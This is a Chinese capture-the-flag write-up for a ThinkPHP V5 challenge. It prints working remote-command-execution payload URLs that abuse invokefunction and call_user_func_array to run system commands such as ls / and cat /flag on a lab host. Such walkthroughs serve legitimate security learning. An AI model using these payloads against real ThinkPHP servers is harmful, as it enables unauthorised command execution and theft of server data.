进入题目环境,查看页面信息:
页面提示 ThinkPHP V5,猜测存在ThinkPHP5 版本框架的漏洞,于是查找 ThinkPHP5 的攻击POC。
构造 payload: http://61.147.171.105:50126/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
这个URL的目的是利用 ThinkPHP 框架中的
invokefunction
方法,通过调用call_user_func_array
函数来执行系统命令ls /
,从而列出服务器根目录下的文件和目录。这种形式的攻击称为远程命令执行(RCE)攻击,如果应用程序没有适当的安全措施来验证和过滤用户提供的输入,可能会导致严重的安全问题。因此,开发者应该在编写代码时严格验证和过滤用户输入,以防止此类攻击。call_user_func_array()函数:
call_user_func_array(参数一,参数二):
参数一:表示一个回调函数。
参数二:表示传递给这个回调函数的参数,参数二的数据类型为数组。
如果回调函数成功执行,则返回执行结果,否则返回False值。
首先利用 system("ls") 指令查看当前目录下的文件名:
发现当前目录下有文件夹(也有可能是文件) flag,flag值大概率在 flag 中,构造 payload:http://61.147.171.105:50126/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cd flag& ls /
发现指令未被执行,无回显。
在 Linux 中,
cd
命令是用于切换当前工作目录的命令,它只能用于切换到文件夹(目录)中,而不能直接切换到文件中。如果你尝试执行类似 cd fkag 这样的命令,Linux 系统会返回一个错误,提示指定的路径不是一个目录,则说明 flag 是一个文件,直接查询即可。
构造 payload:http://61.147.171.105:50126/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
因为使用 ls /指令查询时 flag 在根目录下 ,故使用 cat /flag 而不是用 cat flag。提交页面如下: